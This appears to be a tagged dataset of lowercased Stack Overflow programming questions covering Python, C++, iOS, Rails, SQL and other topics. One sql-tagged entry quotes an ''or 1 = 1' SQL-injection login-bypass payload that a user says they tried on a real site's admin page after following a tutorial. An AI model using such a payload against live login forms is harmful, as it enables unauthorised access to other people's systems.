 regards  jey,c#
understanding python error  i m attempting to create a map using python and the beautiful soup library.    i am a newbie and am inexperienced with programming.    i am receiving the attached error and am unsure how to proceed. presumably there is an issue with my data file (a csv file).    what is python telling me  what does  new line character in unquoted field  mean     here is the code:    <pre><code># read in script rates scriptrate = {} min_value = 100; max_value = 0 reader = csv.reader(open( /users/gcameron/desktop/map/data.csv )  delimiter=   ) for row in reader: try:     county = row[1]      rate = float( row[2].strip() )     rate[county] = rate except:     pass </code></pre>   <img src= https://i.stack.imgur.com/chz1a.png  alt= enter image description here >,python
error about this lvalue required as left operand of assignment  this is my problem!!   <pre><code>for( i = 0; i &lt;= max - 2; i++){     for( j = i + 1; j &lt;= max - 1; j++){         if(stud[i].getedad() &lt; stud[j].getedad()){             temp=stud[i].getedad();             stud[i].getedad() = stud[j].getedad();             stud[j].getedad() = temp;         }     } } </code></pre>,c++
how to remove text highlight in combobox after i click alt + tab and when i come back to the same form in child form   i m new to this forum. my c# project contains mdi parent and a child form. in my child form i ve a combobox and i type some thing on it. now the cursor will be at last position. when i move out off the form to different place (ex: my computer or any other application) by clicking alt + tab and when i come back to the same form  now the text in the dropdown is got selected. i do not want the text to get selected after i move away from the form and return back. i want the cursor to be at last position.     i ve tried the following code in the form activated event  but still it doesn t work.   <pre><code>combobox1.selectionstart = combobox1.text.length + 1; </code></pre>   can any one help solving this  thanks for your help in advance.,c#
how can i reference this image so i can resize it  i want to be able to resize this table background image with javascript i also do not want it to repeat when it gets bigger   <pre><code>&lt;table name= bgimgblue  id= bgimgblue  width= 100%   width= 100% width= 100% style= position:absolute;top:0px;left:0px;  z-index:99;  cellpadding= 0  cellspacing= 0  width= 100%  background= images/i_frame_bgnav.gif  height= 184 &gt; </code></pre>,javascript
objective-c: issue with cgrect .frame intersect/contains  i have two uiimageviews located about center of a horizontal screen and when the user clicks a button another uiimageview  located off screen  slides in from the right. i m am just trying to detect when the view being brought onto the screen collides with the two static views. the problem is when i run my code and check the cgrect frames they are returned from where the views start  not end  regardless of where i place the frame calls in my method or even if i place them outside the method in a separate one. i m a bit new to obj-c and i understand that core animation runs on a separate thread and i am guessing that is why i am getting the starting values. (correct me if i am wrong here).     so  i guess the question here is how do i detect collisions when one item is static and another is animated. here s my code (feel free to clean it up):   <pre><code>- (ibaction)movegirl  {      //disabling button    self.movegirlbtn.enabled = no;     //getting graphics center points    cgpoint pos = bushidogirl.center;    cgpoint box1 = topbox.center;    cgpoint box2 = bottombox.center;     //firing up animation    [uiview beginanimations: nil context: null];     //setting animation speed    [uiview setanimationduration:2.0    ];     //setting final position of bushidogirl  then resetting her center position    pos.x =  260;    bushidogirl.center = pos;     //running animations    [uiview commitanimations];     //playing gong sound    [self.audioplayer play];     //enabling button    self.movegirlbtn.enabled = yes;      [self collisiondetection: bushidogirl : topbox]; }  - (void)collisiondetection:(uiimageview *)item1 : (uiimageview *)item2  {     cgrect item1frame = item1.frame;    cgrect item2frame = item2.frame;     nslog(@ item1 frame = %d and item 2 frame = %d   item1frame  item2frame); } </code></pre>,objective-c
searchdisplaycontroller removes my searchtext  i need help with the searchdisplaycontroller. right now i am using the searchdisplaycontroller with textdidchange  but whenever i press search or on one of the rows my search text is removed from the searchbar.  after that it returns to textdidchange and i execute my code with an empty string. can someone help me please     thanks in advance   <pre><code>- (void)searchbarsearchbuttonclicked:(uisearchbar *)searchbar{      if(connectionstatus.boolnoconnection||connectionstatus.boolerrorconnection)     {         [self.searchdisplaycontroller setactive:no animated:yes];          mkcoordinatespan span;         span.latitudedelta = 2.5f;         span.longitudedelta = 2.5f;          cllocationcoordinate2d location;         location.latitude = 52.30;         location.longitude = 5.45;          mkcoordinateregion region;         region.span = span;         region.center = location;         [map setregion:region animated:yes];     }     else {         if (![geoarray count] == 0) {             [map removeannotations:pins];             [pins release];             [pinplacemark removeallobjects];             [self readarray:geoarray];               [self.searchdisplaycontroller setactive:no animated:yes];            }     } } </code></pre>   i only call the searchdisplaycontroller here  nowhere else,iphone
core data nil object model error  keep getting  nil object model and went through several other posts and all the steps i could find.    <pre><code>nsurl *modelurl = [[nsbundle mainbundle] urlforresource:@“dbname” withextension:@ momd ]; </code></pre>  <ul> <li>dbname matches the dbname.xcdatamodel file name</li> <li>dbname.xcdatamodel is in copy bundle resources and source file lists</li> <li>did a clean and build and restart</li> <li>the file exists in finder</li> <li>no conflicting duplicate files </li> <li>completed fresh app install </li> </ul>   is there another step to take to find the model path.,objective-c
how to insert image into mysql db table   <a href= https://i.stack.imgur.com/vtfko.png  rel= nofollow noreferrer >output</a>    mysql> insert into test (id img)            values(1 load_file( /home/ubundu/pic.jpg ));     query ok  1 row affected (0.55 sec)   <pre><code>mysql&gt; select * from test; +------+------+ | id   | img  | +------+------+ |    1 | null | +------+------+ 1 row in set (0.02 sec) </code></pre>,mysql
cellforrowatindexpath not called but numberofrowsinsection called for uitableview added as subview to uiview  i have created custom alert view where i want to add the <code>uitableview</code> as subview.i haven t created <code>uitableview</code> through <code>(ib)</code> but created programmatically also i have implement protocol <code>uitableviewdelegate</code> and <code>uitableviewdatasource</code> in <code>uiview</code>.but the method <code>cellforrowatindexpath</code> not called. i think the problem is here i have to create <code>uitableview</code> through ib make it visible.is it possible not to create through <code>ib</code> but using below code and implement the delegate methods.    here is the code    <pre><code>        privacy_tableview = [[uitableview alloc] initwithframe:cgrectmake(10.0  0.0  alert_width-40.0  0.0)];                          [privacy_tableview sizetofit];         privacy_tableview.frame = cgrectmake(10.0  0.0  alert_width-40.0  privacy_tableview.frame.size.height);         //add scrollview which contain uitableview         msgscrollview = [[uiscrollview alloc] initwithframe:cgrectmake(10.0  alert_height  alert_width-20.0  (privacy_tableview.frame.size.height&gt;max_msg_height) max_msg_height:privacy_tableview.frame.size.height)];          [privacy_tableview setdatasource:self];         [privacy_tableview setdelegate:self];          [privacy_tableview reloaddata]; </code></pre>,ios
can t get edit route to work  i can t get the routes right to edit users.    below are <code>_header.html.erb</code>  which has edit users link:   <pre><code>&lt;li&gt;&lt;%= link_to  settings   edit_user_path(current_user) %&gt;&lt;/li&gt; </code></pre>   and <code>routes.rb</code>:   <pre><code>rails.application.routes.draw do    root  static_pages#home     get  help   =&gt;  static_pages#help    get  about  =&gt;  static_pages#about    get  contact  =&gt;  static_pages#contact    get  contact  =&gt;  static_pages#contact    get  signup  =&gt;  users#new    get  login  =&gt;  sessions#new    post  login  =&gt;  sessions#create    delete  logout  =&gt;  sessions#destroy      get  /all_users   :to =&gt;  users#index     get  /users/:id   :to =&gt;  users#show   :as =&gt; :user    resources :users do     get user   end    resources :account_activations  only: [:edit] end </code></pre>   <strong>edit</strong>    i added   <pre><code>get  edit  =&gt;  static_pages#edit  </code></pre>   and now there is the same problem but it says there is a <code>urlgenerationerror</code>.,ruby-on-rails
exporting a dictionary into a text-file  the game is about tamaguchis  and i want the tamaguchi to remember its last size and it s 3 last actions the next time it plays. i also want the date to matter  like if you don t play with it for a week it shrinks in size. so first step i thought was to save down all the relevant data to a text file  and each time the game starts the code searchs through the text file and extracts the relevant data again! but i can t even get step 1 working :( i mean  i don t get why this doesn t work     <pre><code>file = open( tamaguchis.txt   w ) date = time.strftime( %c ) dictionary = { size :tamaguchin.size  date :date  order :lista} file.write(dictionary) </code></pre>   it says that it can t export dictonaries  only strings to a text file. but that s not correct is it  i thought you were supposed to be able to put dictionaries in text files  :o     if anyone also has an idea on how calculate the difference between the current date  and the date saved in the text file  that d be much appriciated :)    sorry if noob question  and thanks a lot!,python
is it possible to get the exit code from a call to exec   i m executing a different python script using exec. i want to determine if the executed script completed successfully or not. is there anyway to get the exit code when using exec  is there another option other than getting the exit code    <pre><code>file_to_execute = sys.argv[1]  # want to find out if file_to_execute completed successfully exec(open(file_to_execute).read()) </code></pre>,python
how can i show a logo when my android app first loading   my android app s first loading time very long and it takes almost 10 seconds.during this time  the enduser sees a blank page.my question is how can show a logo during this time. i  find on internet this code but it doesnt help me :   <pre><code> public class appactivity extends activity { boolean loading = false; relativelayout r_loading; @override protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.activity_app);     if (savedinstancestate != null) {         loading = savedinstancestate.getboolean( loading );     } else {         loading = false;     }     r_loading=(relativelayout)findviewbyid(r.id.loading);     if (loading) showloadingscreen();  } @override public void onsaveinstancestate(bundle outstate) {      super.onsaveinstancestate(outstate);     outstate.putboolean( loading   loading); }  @override protected void onstart() {     super.onstart();     if(!loading){         showloadingscreen();         loading = true;        intent intent = new intent(appactivity.this  mainactivity.class);         startactivity(intent);     } }  public void showloadingscreen() {     r_loading.setvisibility(view.visible); }  }  </code></pre>,android
should i care if streamwriter.dispose() throws a system.io.ioexception   i m using a streamwriter to write to a file over the network (samba).    sometimes  the network conditions are not so good and causes my write to fail. in that case  i want to just clean up and try starting a new file.    the problem is that  even when i try to clean up (i.e. calling dispose() on my streamwriter object)  i get an ioexception as it fails to flush (because the network conditions are bad  remember)  like so:   <pre><code>system.io.ioexception an unexpected network error occurred.     at system.io.__error.winioerror(int32 errorcode  string maybefullpath)    at system.io.filestream.flushwrite(boolean calledfromfinalizer)    at system.io.filestream.flush(boolean flushtodisk)    at system.io.streamwriter.dispose(boolean disposing)    at system.io.textwriter.dispose() </code></pre>   shall i care in such case  if i catch the ioexception  shall i then try to somehow finish the clean up in other ways  or do i just ignore the ioexception and move along     in other words  what should i do here    <pre><code>try {     using (streamwriter writer = new streamwriter(some_network_file_path  /* ... */))     {         while (true)         {             /* append lines of csv-style data to the file. */         }     } } /* writer.dispose() can throw an ioexception as it fails to flush. */ catch (system.io.ioexception) {     /*     what shall i do here  if anything at all      suppose that my only concern is resource leak via the streamwriter     object.     it s easy for me to clean up the data file later by discarding the last     incomplete line.     */ } </code></pre>,.net
why  foo f(bar());  can be a declaration of a function that takes type bar and returns type foo   i met this c++ question:    question: is the following a definition or a declaration    <pre><code>foo f(bar()); </code></pre>   answer: it is possibly either a declaration of a function that takes type bar and returns type foo or it is a definition of <code>f</code> as a type <code>foo</code>  which has a constructor that takes type bar. the problem is the syntax for both is identical so to resolve this problem the c++ standard states that a compiler must prefer function declarations to object definitions where it is unable to make a distinction.    -- i don t understand why it can be  a declaration of a function that takes type bar and returns type foo   how come a parenthesis  ()  appear in parameter list,c++
sql injection ethical hacking  this is not a programming question but i have no idea why i did it. yesterday  i was going through a tutorial about ethical hacking and found a tutorial about sql injection. it says  find an admin login.asp site and enter as follows: admin: admin password:   or  1 = 1    i really don t know what is that and how it works. but  when i tried the same for a website  i was shocked by the result. it gave me a warning like  ... your ip address ip xxx.xxx.xxx.xxx and you may be prosecuted for this action ... etc  i was really scared by the warning. i had no intention to do anything  i was just following the tutorial.    can anyone tell me what will happen to me  i am really worried about this.,sql
why does system.environment.version report framework 2   in a web site targeted for framework 3.5  on a machine with up to 3.5 sp 1 installed  when i call system.environment.version in a page  it reports 2.0.50727.3053.  can anyone suggest why this happens,asp.net
even if i haven t write margin  there is a strange margin 12px  i m novice in css.could you tell me where is the margin 12px come from <img src= https://i.stack.imgur.com/pcmxr.jpg  alt= enter image description here >,css
rules for using references in c++ <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/2139224/how-to-pass-objects-to-functions-in-c >how to pass objects to functions in c++ </a><br>   <a href= https://stackoverflow.com/questions/2582797/why-pass-by-const-reference-instead-of-by-value >why pass by const reference instead of by value </a>    </blockquote>     in c++ is there a kind of rule or guidance of when exactly one must or at least should opt for using pass by references than by value      and if is about the size of the object with some object as far as know (<em>little honestly</em>) it can become difficult to judge.,c++
c - printing variables within strings  is it possible to include variables through using <code>%c</code> and such when you have strings saved into the array    <pre><code>char *mainmenunames[] = {  %c - move left    %c - move right   %c - move up   %c - move down   %c - back   %c - confirm   %c - show stats   %c - show inventory   %c - show legend   %c - show controls }; </code></pre>   when i have something like this  is it possible to put something into the <code>%c</code>,c
generic class  operator overload for differing types  so  i m moving from c++ to c# ( well  not  moving   but visiting ) and i m trying to port over a c++ project i have as practice.  i can t seem to find anything that references my particular problem.  i have a template class rect -   <pre><code>template&lt; class t &gt; class rect { public:     rect() {}     rect( t top  t bottom  t left  t right )     :     top( top )      bottom( bottom )      left( left )      right( right )     {}     rect( const rect&amp; rect )     :     top( rect.top )      bottom( rect.bottom )      left( rect.left )      right( rect.right )     {}     void translate( float dx  float dy )     {         top += (t)dy;         bottom += (t)dy;         left += (t)dx;         right += (t)dx;     }     template&lt; class t2 &gt;     operator rect&lt; t2 &gt;() const     {         return rect&lt; int &gt;( (t2) top  (t2)bottom  (t2)left  (t2)right );     }     void clipto( const rect&amp; rect )     {         top = max( top  rect.top );         bottom = min( bottom  rect.bottom );         left = max( left  rect.left );         right = min( right  rect.right );     } public:     t top;     t bottom;     t left;     t right; }; </code></pre>   the problem is the translate( float dx  float dy ) method.  it seems i can t add a float to a  t  or even use  t  to type another variable   overloading the  +  operator doesn t seem to be the answer ( same problem - type mismatch ).  am i missing something painfully simple,c#
is it possible to inject a module into an imported module s globals   i have a file <code>hello.py</code> which has a function <code>hello()</code>    <strong><code>hello.py</code>:</strong>   <pre><code>def hello():     print  hello world  </code></pre>   i have another file <code>test.py</code> which imports <code>hello</code>  and calls the function.    <strong><code>test.py</code>:</strong>   <pre><code>from hello import *  def run():     hello()  if __name__ ==  __main__ :     run() </code></pre>   if i run <code>test.py</code> through python  it works as expected:   <pre><code>$ python test.py hello world </code></pre>   now  however  i edit <code>test.py</code>  and <strong>remove the import statement</strong>:    <strong><code>test.py</code>:</strong>   <pre><code>def run():     hello()    # hello is obviously not in scope here  if __name__ ==  __main__ :     run() </code></pre>   i introduce a 3rd file  <code>run.py</code>  which <strong>imports both <code>hello.py</code> and <code>test.py</code></strong>    <strong><code>run.py</code>:</strong>   <pre><code>from hello import * from test import *  if __name__ ==  __main__ :     run() </code></pre>   naturally <strong>this does not work</strong>  as <code>hello()</code> is not in <code>test.py s</code> scope.   <pre><code>$ python run.py  traceback (most recent call last):   file  run.py   line 5  in &lt;module&gt;     run()   file  test.py   line 4  in run     hello() nameerror: global name  hello  is not defined </code></pre>   <strong>question:</strong>   <ul> <li>is it possible to <em>inject</em> <code>hello()</code> into <code>test.py s</code> scope from <code>run.py</code>  <strong>without having <code>run.py</code> import <code>hello.py</code></strong> </li> </ul>   i m happy using lower level functionality  such as the <a href= https://docs.python.org/2/library/imp.html  rel= nofollow noreferrer ><code>imp</code></a> module  if that is what is required.,python
problems when passing self to a function in objective-c  while writing an ipad application  i seem to be running into a lot of weird errors. basically  i have a parent class  ticker  that checks to see if stock ticker data is cached and if it isn t  it creates an instance of networktickerdata  passing itself as an argument and adding the returned data to itself.    here is the code for <code>[ticker getdata]</code>:   <pre><code>-(void)getdata {        // some check here to see if the data is locally cached     // if not     networktickerdata* tick = [[networktickerdata alloc] initwithticker: self];     [tick gethistoricaltickerdata];     self.tickerdata = tick.tickerdata; } </code></pre>   and the code for <code>[networktickerdata initwithticker:]</code>:   <pre><code>+(networktickerdata*)initwithticker: (ticker*)tick {     nslog(@ doing setup );     networktickerdata* t = [[networktickerdata alloc] init];     t.ticker = tick;     t.net = [[networkop alloc] init];      return t; } </code></pre>   i am getting the error: <code>*** -[networktickerdata initwithticker:]: unrecognized selector sent to instance</code>    is there a problem passing the variable <code>self</code> to <code>initwithticker</code>  for what its worth  the <code>nslog</code>  only there for debug purposes  never prints out.     if i had to guess  the problem must be with using <code>self</code>  maybe it doesn t refer to the current class,objective-c
redirect the user after login  i have a page that only allow the user accessing the page after login. say that this page is    <blockquote>    <a href= http://www.example.com/secret/data/important.php id=23&amp;pin=2if24scrtw2323  rel= nofollow >http://www.example.com/secret/data/important.php id=23&amp;pin=2if24scrtw2323</a>.  </blockquote>   this is the scenario: when the user access the url without login  the user will be redirected to login page. my login page url:   <blockquote>    <a href= http://www.example.com/login.php  rel= nofollow >http://www.example.com/login.php</a>  </blockquote>   after successfully login  the user will be redirected again automatically to the page that he/she try access in advanced (in this case: > <a href= http://www.example.com/secret/data/important.php id=23&amp;pin=2if24scrtw2323  rel= nofollow >http://www.example.com/secret/data/important.php id=23&amp;pin=2if24scrtw2323</a>) just like facebook.    what s idea behind it  thx,php
reading and outputting unicode in c <pre><code>file * f = fopen( filename    r ); int c;  while((c = fgetc(f)) != eof) {     printf( %c\n   c); } </code></pre>   hello  i have searched for a whole hour  found many wise dissertations on unicode  but no answer to this simple question:    what would be the shortest equivalent to these four lines  that can manage utf8  on linux using gcc and bash.    thank you,c
heroku and database management for rails  i m getting really close to putting up my first app. however  i m worried that because i m so new  i won t know how to manage my database properly.      what s the best practice for managing a database on heroku  as in  backups for example. what if i really screw up something  can i edit information like usernames  email addresses for users  etc directly in heroku or do i still do that from my terminal,ruby-on-rails
rails set default datetime to now  in my app i have teams and each team has a game time every week. i want the game times to be set to  now  as a default. my table is set up like so    <pre><code>create_table  teams   force: true do |t|   t.datetime  wk1_time  end </code></pre>   i created a migration and it looks like this:   <pre><code>class changedatetimedefault &lt; activerecord::migration   def change     change_column :teams  :wk1_time  :default =&gt; datetime.now   end edn </code></pre>   when i run rake db:migrate i get an error. is my syntax wrong or am i missing something else,ruby-on-rails
meaning of java syntax: class a extends b<c>  what does this syntax mean in <code>java</code>: <code>class a extends b&lt;c&gt;</code>  i came across this in an android library and couldn t find it on google.    more specifically  this is what i had come across:   <pre><code>public class pulltorefreshexpandablelistview extends pulltorefreshadapterviewbase&lt;expandablelistview&gt; </code></pre>,java
how to add javascript in android to open first link in the webview   i am using a webview as shown:   <pre><code>wv_result_display.loadurl( https://www.google.com/search q= +tv_question.gettext().tostring()); </code></pre>   after getting the result i want to open first link that appears after search using javascript.     i need the code to run fast.,android
iphone navigation bar images  i d like to replace the back button and the entire navigation bar in my iphone app with custom images.  first of all  is this possible   second  if so  how   thanks.,iphone
inner join vs join <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/565620/difference-between-join-and-inner-join >difference between join and inner join</a>     </blockquote>   did read this....but there is a difference if you look at my question. i have asked why does not this work......that link has all the explanations only.......     <pre><code>string sql = select s.text  s.postdate  +          d.fname from wall s   +          join kid_register d on d.id=s.fromsl ;// this works  string sql = select s.text  s.postdate  +          d.fname from wall s   +          inner join kid_register d on d.id=s.fromsl ; // this does not </code></pre>   can i know the reason why  as far as my research on the net it says that inner join and join are the same and as one put in so the diff is just the  syntactical sugar  part....,sql
android show/hide widgets into adapter each refreshing data  in my adapter of <code>recyclerview</code> i have some widgets which i want to show or hide them  i can refresh data by this method and work fine   <pre><code>public void setdata(list&lt;marketsbaseinformation&gt; list) {     this.market = list; } </code></pre>   now  in my adapter  like with that i created other method as :   <pre><code>public void settype(int type) {     this.type = type; } </code></pre>   <strong>refreshing data</strong>:   <pre><code>protected void refreshmarketlists() {     recyclermarketlistsadapter.settype(0);     recyclermarketlistsadapter.setdata(marketlists);     recyclermarketlistsadapter.notifydatasetchanged(); } </code></pre>   it s expected to work on <code>onbindviewholder</code> to show or hide widgets  but my solution isn t work correctly:   <pre><code>public void onbindviewholder(final marketlistsviewholder holder  final int position) {      if (type == 0)         holder.market_short_description.setvisibility(view.invisible);     else         holder.market_short_description.setvisibility(view.visible);  </code></pre>   it doesn t work and i cant resolve this problem,android
how could i make custom validation for 3 different inputs   i have a modal window:    <pre><code>&lt;md-dialog class= fullscreen-dialog sm-dialog  aria-label= report  id= report             md-colors= {background:  default-accent-100 }  style= overflow: hidden;             xmlns:th= http://www.w3.org/1999/xhtml &gt;     &lt;md-toolbar class= md-small-tall  md-colors= {background:  default-accent-900 } &gt;         &lt;div class= md-toolbar-tools md-small  layout= row  flex= auto &gt;             &lt;span flex= auto  md-truncate=   &gt; {{diag.title | locale}}&lt;/span&gt;             &lt;md-button class= md-icon-button  ng-click= diag.onclose()  style= text-align: right; &gt;                 &lt;i class= material-icons &gt;close&lt;/i&gt;             &lt;/md-button&gt;         &lt;/div&gt;     &lt;/md-toolbar&gt;       &lt;div layout= column  flex= auto  style= padding:10px &gt;         &lt;div layout= row  flex= auto  ng-repeat= (key  obj) in diag.economicclassificationrowdata &gt;             &lt;div flex= 60  layout-align= center center &gt;                 &lt;label&gt;&lt;strong&gt;{{key | locale}}: &lt;/strong&gt;&lt;/label&gt;             &lt;/div&gt;              &lt;div flex= 40  layout-align= center center &gt;                 &lt;md-input-container class= md-block   flex-gt-sm= auto &gt;                     &lt;div ng-switch= key &gt;                         &lt;div ng-switch-when= productiontype &gt;                             &lt;select                                     ng-model= obj.value                                      style= width: 75%;                                      data-ng-options= pt for pt in diag.productiontypelist &gt;                             &lt;/select&gt;                         &lt;/div&gt;                         &lt;div ng-switch-when= finalclassification &gt;                             &lt;select                                     ng-model= obj.value                                      style= width: 75%;                                      data-ng-options=  ( + ac.code +  )   + ac.description for ac in diag.accountclassificationlist track by ac.id &gt;                             &lt;/select&gt;                         &lt;/div&gt;                         &lt;div ng-switch-when= finalvalue &gt;                             &lt;input type= number  ng-value= obj.value  ng-model= obj.value  ng-disabled= obj.noteditable /&gt;                         &lt;/div&gt;                         &lt;div ng-switch-when= capitalclassification &gt;                             &lt;select                                     ng-model= obj.value                                      style= width: 75%;                                      data-ng-options=  ( + ac.code +  )   + ac.description for ac in diag.accountclassificationlist track by ac.id &gt;                             &lt;/select&gt;                         &lt;/div&gt;                         &lt;div ng-switch-when= capitalvalue &gt;                             &lt;input type= number  ng-value= obj.value  ng-model= obj.value  ng-disabled= obj.noteditable /&gt;                         &lt;/div&gt;                         &lt;div ng-switch-when= intermediaryclassification &gt;                             &lt;select                                     ng-model= obj.value                                      style= width: 75%;                                      data-ng-options=  ( + ac.code +  )   + ac.description for ac in diag.accountclassificationlist track by ac.id &gt;                             &lt;/select&gt;                         &lt;/div&gt;                         &lt;div ng-switch-when= intermediaryvalue &gt;                             &lt;input type= number  ng-value= obj.value  ng-model= obj.value  ng-disabled= obj.noteditable /&gt;                         &lt;/div&gt;                         &lt;div ng-switch-when= grossdomesticproduct &gt;                             &lt;input ng-value= obj.value.gdpdescription  ng-model= obj.value.gdpdescription  ng-disabled= obj.noteditable /&gt;                         &lt;/div&gt;                         &lt;div ng-switch-default=  &gt;                             &lt;input ng-value= obj.value  ng-model= obj.value  ng-disabled= obj.noteditable /&gt;                         &lt;/div&gt;                     &lt;/div&gt;                 &lt;/md-input-container&gt;             &lt;/div&gt;         &lt;/div&gt;          &lt;div layout= row  flex= auto  layout-align= end center &gt;              &lt;md-button class= md-fab md-primary  aria-label= save  ng-click= diag.savechanges() &gt;                 &lt;md-icon class= material-icons &gt;save&lt;/md-icon&gt;             &lt;/md-button&gt;          &lt;/div&gt;     &lt;/div&gt;  &lt;/md-dialog&gt; </code></pre>   i would like to validate if <code>finalvalue + capitalvalue + intermediaryvalue === 1.00</code>  these are the <code>obj.value</code> under each switch case. it would have to only add up if values are defined as they are not required. they have to add up to exactly 1.00  not more nor less.    i have read up on ngmessages  but i am struggling on how to construct a directive that checks all three inputs. also notice i am not using a form here  and i probably have a lot of bad practices reflected on the html code i pasted  sorry i m kind of a rookie at angularjs.     thanks for your help!,angularjs
how do i find the path delimiter character in .net   is there some built-in constant for the path delimiter (i.e. \ vs /),.net
firefox displays unnecessary horizontal scrollbar  the effect i m trying to achieve is this: i d like to have a line of text with a title  and underneath that i want a table.  the table is likely to be too high to fit in the browser window  so i d like a vertical scrollbar if necessary.  the table shouldn t be too wide  so no horizontal scrollbar should be needed (but i d still like it to show up if necessary).  either way  i don t want the title to scroll; thus  a vertical scrollbar shows up and i scroll the table  the title should be fixed.  i m trying to set up a <code>&lt;div&gt;</code> whose width is whatever width the browser decides is needed to display the table (the title will be less wide than that).    here s what i ve tried:   <pre><code>&lt;html&gt;    &lt;head&gt;       &lt;title&gt;page title&lt;/title&gt;       &lt;style type= text/css &gt;          .mytab { border-style: solid; border-collapse: collapse }          table.mytab td { border-style: solid; border-width : 1px;                            padding: 5px }       &lt;/style&gt;    &lt;/head&gt;    &lt;body&gt;       &lt;div style= display: inline-table &gt;           &lt;div style= padding-bottom: 10px; text-align: center &gt;table title&lt;/div&gt;           &lt;div style= height: 100px; overflow: auto &gt;               &lt;table class= mytab &gt;               &lt;tr&gt;&lt;th/&gt;&lt;th&gt;data1&lt;/th&gt;&lt;th&gt;data2&lt;/th&gt;&lt;th&gt;data3&lt;/th&gt;&lt;/tr&gt;                   &lt;tr&gt;&lt;td&gt;aaaa&lt;/td&gt;&lt;td&gt;12348173&lt;/td&gt;&lt;td&gt;7598734&lt;/td&gt;&lt;td&gt;zioxuoiuf&lt;/td&gt;&lt;/tr&gt;                   &lt;tr&gt;&lt;td&gt;bbbb&lt;/td&gt;&lt;td&gt;29834782&lt;/td&gt;&lt;td&gt;7895232&lt;/td&gt;&lt;td&gt;kuoiu2kjf&lt;/td&gt;&lt;/tr&gt;                   &lt;tr&gt;&lt;td&gt;cccc&lt;/td&gt;&lt;td&gt;98291123&lt;/td&gt;&lt;td&gt;io242o2&lt;/td&gt;&lt;td&gt;982734211&lt;/td&gt;&lt;/tr&gt;               &lt;/table&gt;           &lt;/div&gt;           &lt;/div&gt;    &lt;/body&gt; &lt;/html&gt; </code></pre>   (i ll eventually want to allow more than 100px for the height of the table  but i set it so that i could test the scrollbar.)    this does what i want in chrome (53.0.2785.116 m)  but not in firefox (49.0.1).  in chrome  it appears that the browser figures out how wide to make the table  then adds a vertical scrollbar to the right of that.  in firefox  it appears that the browser figures out how wide to make the table  but then positions the vertical scrollbar <em>inside</em> a box of that width  obscuring part of the table.  then it appends a horizontal scrollbar since you can t see all of the table.    appearance with chrome:    <a href= https://i.stack.imgur.com/r0css.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/r0css.jpg  alt= appearance with chrome ></a>    appearance with firefox:    <a href= https://i.stack.imgur.com/hcek4.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/hcek4.jpg  alt= appearance with firefox ></a>    (it doesn t matter to me that firefox is displaying a bit less of the table vertically.  but i definitely don t want the horizontal scrollbar to show up unless it s necessary.)    how can i fix this so it works in firefox,html
program quits without taking user input in argparse example  i am new to python. i tried to run below python code in pycharm but without taking user input it exits. any help    <pre><code>import math import argparse  parse = argparse.argumentparser(description= calculate the area of a cylinder ) parse.add_argument( radius   type=int  help= radius of the cylinder ) parse.add_argument( height   type=int  help= height of the cylinder ) args = parse.parse_args()   def cylinder_volume(radius  height):     vol = math.pi * (radius ** 2) * (height)     return vol   if __name__ ==  __main__ :     print(cylinder_volume(args.radius  args.height)) age = input( take input ) print( the input is  age)  #c:\users\manoj\venv\argparse_demo\scripts\python.exe c:/users/manoj/pycharmprojects/argparse_demo/new.py #usage: new.py [-h] radius height #new.py: error: the following arguments are required: radius  height  #process finished with exit code 2 </code></pre>,python
how do i implement session timeout in iphone   example if the user is idle for a predefine period,iphone
do we need to call viewwillappear manually in tabbarcontroller while tab shifts and navigationcontroller while popping  i am using tabbarcontroller and i want to refresh my views on every tab shift. so if user shifts from tab first to tab fourth and again comes back to first the view must be updated. so do i need to call the viewwillappear manually as it doesnt call on its own.    similarly while popping a view from navigationcontroller i need to call viewwillappear for the parent view of the view being popped. so again do i need to call it manually.,iphone
gcc -  expected unqualified-id before  )  token   please bear with me  i m just learning c++.     i m trying to write my header file (for class) and i m running into an odd error.   <pre><code>cards.h:21: error: expected unqualified-id before  )  token cards.h:22: error: expected `)  before  str  cards.h:23: error: expected `)  before  r  </code></pre>   what does  expected unqualified-id before  )  token  mean  and what am i doing wrong      edit: sorry  i didn t post the entire code.   <pre><code>/* card header file [author] */ // note: lanugage docs here http://www.cplusplus.com/doc/tutorial/  #define card #define hand #define apperror  #include &lt;string&gt;  using namespace std;   // todo: docs here class card { // line 17     public:         enum suit {club  diamond  spade  heart};         enum rank {two  three  four  five  six  seven  eight  nine                     ten  jack  queen  king  ace};         card(); // line 22         card(string str);         card(rank r  suit s); </code></pre>   edit: i m just trying to compile the header file by itself using  g++ file.h .     edit: closed question. my code is working now. thanks everyone! edit: reopened question after reading <a href= https://stackoverflow.com/questions/34456/etiquette-closing-your-posts >etiquette: closing your posts</a>,c++
width of string in table cell w/ jquery  is there a way to determine what the width of text string withing a particular table cell  or at least if it is wider (longer) than the table width  i.e. wrapping. ad if yes  include that string inside str,jquery
leftover nav bar in landscape view  i am working to force a view into landscape mode  and have picked up all kinds of cool tips to make this happen  but am stuck on one item that is left on the screen.    i have my xib file laid out in landscape  and in my code i create the view controller normally:   <pre><code>redeemviewcontroller *aviewcontroller = [[redeemviewcontroller alloc] initwithnibname:@ redeemviewcontroller  bundle:nil];     aviewcontroller.hidesbottombarwhenpushed = yes;     aviewcontroller.wantsfullscreenlayout = yes; [[self navigationcontroller] pushviewcontroller:aviewcontroller animated:yes];   </code></pre>   inside the controller viewdidload i complete the following:   <pre><code>[[uiapplication sharedapplication] setstatusbarorientation:uiinterfaceorientationlandscaperight]; [[self navigationcontroller] setnavigationbarhidden:yes animated:yes];   [uiview beginanimations:@ view flip  context:nil]; [uiview setanimationduration:.75]; [uiview setanimationcurve:uiviewanimationcurveeaseinout];  if (self.interfaceorientation == uiinterfaceorientationportrait) {       self.view.transform = cgaffinetransformidentity; self.view.transform = cgaffinetransformmakerotation(degreestoradian(90)); self.view.bounds = cgrectmake(0.0  0.0  480  320); } [uiview commitanimations]; </code></pre>   what i end up with is a perfectly rotated view  with a grey vertical bar on the left side (see pic). <a href= http://taxhelp.net/vert_bar.png  rel= nofollow noreferrer >alt text http://taxhelp.net/vert_bar.png</a>    so to the question  how do i get rid of the bar     edit:  i am pretty sure this is the navigation bar that is not being hidden.    this is a duplicate of another post  with some modified code  the other question was being answered with the bug.,iphone
